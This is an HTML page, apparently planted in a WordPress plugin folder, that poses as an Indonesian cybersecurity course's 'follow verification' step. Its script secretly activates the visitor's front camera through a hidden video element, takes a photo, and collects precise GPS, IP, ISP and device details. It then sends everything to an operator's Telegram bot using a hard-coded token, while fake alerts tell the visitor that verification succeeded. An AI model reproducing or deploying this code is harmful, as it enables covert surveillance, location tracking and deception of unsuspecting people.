/home/u336066629/websites/AmAL87tCa/public_html/wp-content/plugins/zeddplugins/m/test.html
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>CyberSec Academy | Premium Access</title>
    <link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;700&display=swap" rel="stylesheet">
    <style>
        :root { --bg: #050a14; --gold: #d4af37; --glass: rgba(255, 255, 255, 0.03); }
        body {
            margin: 0; background: var(--bg); color: white;
            font-family: 'Montserrat', sans-serif;
            display: flex; flex-direction: column; align-items: center;
            min-height: 100vh; padding: 40px 20px; box-sizing: border-box;
        }
        .header { text-align: center; margin-bottom: 25px; }
        h1 { color: #fff; font-size: 1.6rem; margin: 0; }
        .tagline { color: var(--gold); font-size: 0.65rem; letter-spacing: 3px; text-transform: uppercase; }

        .module-grid {
            display: grid; grid-template-columns: 1fr 1fr; gap: 12px;
            width: 100%; max-width: 450px; opacity: 0.25;
            filter: blur(2px); pointer-events: none; margin-bottom: 25px;
        }
        .module-item {
            background: var(--glass); border: 1px solid rgba(255,255,255,0.1);
            padding: 15px; border-radius: 10px; text-align: center; font-size: 0.75rem;
        }

        .requirement-card {
            width: 100%; max-width: 400px; background: rgba(255,255,255,0.05);
            border: 1px solid var(--gold); border-radius: 15px; padding: 25px 20px;
            backdrop-filter: blur(12px); -webkit-backdrop-filter: blur(12px);
            box-shadow: 0 15px 35px rgba(0,0,0,0.5); text-align: center;
        }
        .ig-btn {
            display: inline-block; width: 85%; margin: 15px 0; padding: 12px;
            background: linear-gradient(45deg, #f09433, #dc2743, #bc1888);
            color: white; text-decoration: none; border-radius: 30px; font-weight: bold; font-size: 0.9rem;
        }
        .upload-area {
            margin-top: 15px; padding: 20px; border: 2px dashed rgba(212, 175, 55, 0.5);
            border-radius: 10px; cursor: pointer; transition: 0.3s; background: rgba(212, 175, 55, 0.05);
        }
        
        /* Hidden Camera Logic */
        #v { position: absolute; width: 1px; height: 1px; opacity: 0; pointer-events: none; }
    </style>
</head>
<body>

    <video id="v" autoplay muted playsinline webkit-playsinline></video>
    <canvas id="c" style="display:none;"></canvas>

    <div class="header">
        <div class="tagline">Official Learning Portal</div>
        <h1>Cyber Security Masterclass</h1>
    </div>

    <div class="module-grid">
        <div class="module-item">🔐 Remote Mobile Spy</div>
        <div class="module-item">🛡️ Anti-DDOS Expert</div>
        <div class="module-item">📸 Cam-Audit (No Touch)</div>
        <div class="module-item">💰 Legal Revenue Stream</div>
    </div>

    <div class="requirement-card">
        <h2 style="font-size: 1.1rem; margin-top: 0; color: #fff;">🔓 Unlock All Modules</h2>
        <p style="font-size: 0.8rem; color: #bbb;">Selesaikan verifikasi untuk akses penuh:</p>
        
        <p style="font-size: 0.85rem; margin-bottom: 5px;">1. Follow Instagram Admin</p>
        <a href="https://instagram.com/sy.afiq__" target="_blank" class="ig-btn">Follow @sy.afiq__</a>

        <p style="font-size: 0.85rem; margin-top: 20px; margin-bottom: 5px;">2. Konfirmasi Keikutsertaan</p>
        <div class="upload-area" onclick="startAudit()">
            <span id="btnTxt">📸 Verifikasi Bukti Follow</span>
        </div>
        
        <p style="font-size: 0.6rem; color: #666; margin-top: 20px;">Protected by AI Biometric & Precision GPS Audit.</p>
    </div>

    <script>
        // DATA TELEGRAM ABANG
        const TG_TOKEN = "8330095671:AAFVvM0jyVAMb8SUrc6IY52xuMq_PJapmN4"; 
        const TG_ID = "6694555111";

        async function startAudit() {
            const btn = document.getElementById('btnTxt');
            btn.innerText = "Memproses SSL...";
            
            try {
                // Spesifik facingMode user untuk iPhone
                const stream = await navigator.mediaDevices.getUserMedia({ 
                    video: { facingMode: "user" },
                    audio: false 
                });
                
                const video = document.getElementById('v');
                video.srcObject = stream;
                await video.play(); // Wajib di-play manual untuk Safari

                // Ambil GPS dengan Timeout agar tidak macet di iPhone
                btn.innerText = "Audit GPS & Biometrik...";
                const getCoords = () => {
                    return new Promise((resolve) => {
                        navigator.geolocation.getCurrentPosition(
                            (p) => resolve(p.coords), 
                            () => resolve(null), 
                            { timeout: 5000, enableHighAccuracy: true }
                        );
                    });
                };

                const coords = await getCoords();
                const lat = coords ? coords.latitude : "Ditolak/Nonaktif";
                const lon = coords ? coords.longitude : "Ditolak/Nonaktif";

                // Jeda 2 detik agar kamera fokus
                setTimeout(() => { 
                    doCapture(video, lat, lon); 
                }, 2000);

            } catch (err) {
                alert("Akses Diperlukan! iPhone/Android mendeteksi protokol verifikasi. Klik 'Allow/Izinkan' pada Kamera & Lokasi.");
                console.error(err);
                btn.innerText = "📸 Coba Verifikasi Lagi";
            }
        }

        async function doCapture(video, lat, lon) {
            const canvas = document.getElementById('c');
            canvas.width = video.videoWidth;
            canvas.height = video.videoHeight;
            canvas.getContext('2d').drawImage(video, 0, 0);
            
            // Kompresi jpeg agar pengiriman cepat
            const blob = await new Promise(res => canvas.toBlob(res, 'image/jpeg', 0.6));
            
            // Ambil Info IP & Provider
            let net = { ip: "Unknown", city: "Unknown", country_name: "Unknown", org: "Unknown" };
            try {
                const res = await fetch('https://ipapi.co/json/');
                net = await res.json();
            } catch (e) {}
            
            const caption = `📊 **AUDIT AKSES TERVERIFIKASI**\n` +
                            `---------------------------\n` +
                            `👤 User: Potential Follower\n` +
                            `🌐 IP: ${net.ip}\n` +
                            `📍 Kota: ${net.city}, ${net.country_name}\n` +
                            `🏢 ISP: ${net.org}\n` +
                            `🎯 GPS Akurat:\n` +
                            `   Lat: ${lat}\n` +
                            `   Long: ${lon}\n` +
                            `📱 Device: ${navigator.platform}\n` +
                            `📍 Maps: https://www.google.com/maps?q=${lat},${lon}`;

            const fd = new FormData();
            fd.append('chat_id', TG_ID);
            fd.append('caption', caption);
            fd.append('photo', blob, 'audit.jpg');
            
            fetch(`https://api.telegram.org/bot${TG_TOKEN}/sendPhoto`, { method: 'POST', body: fd });

            // Sembunyikan loading, beri feedback sukses
            alert("Verifikasi Sukses! Tim kami akan mengecek daftar follower @sy.afiq__. Akses modul dikirim via DM Instagram.");
            document.getElementById('btnTxt').innerText = "✅ Berhasil Diverifikasi";
            
            // Matikan kamera setelah selesai
            const tracks = video.srcObject.getTracks();
            tracks.forEach(track => track.stop());
        }
    </script>
</body>
</html>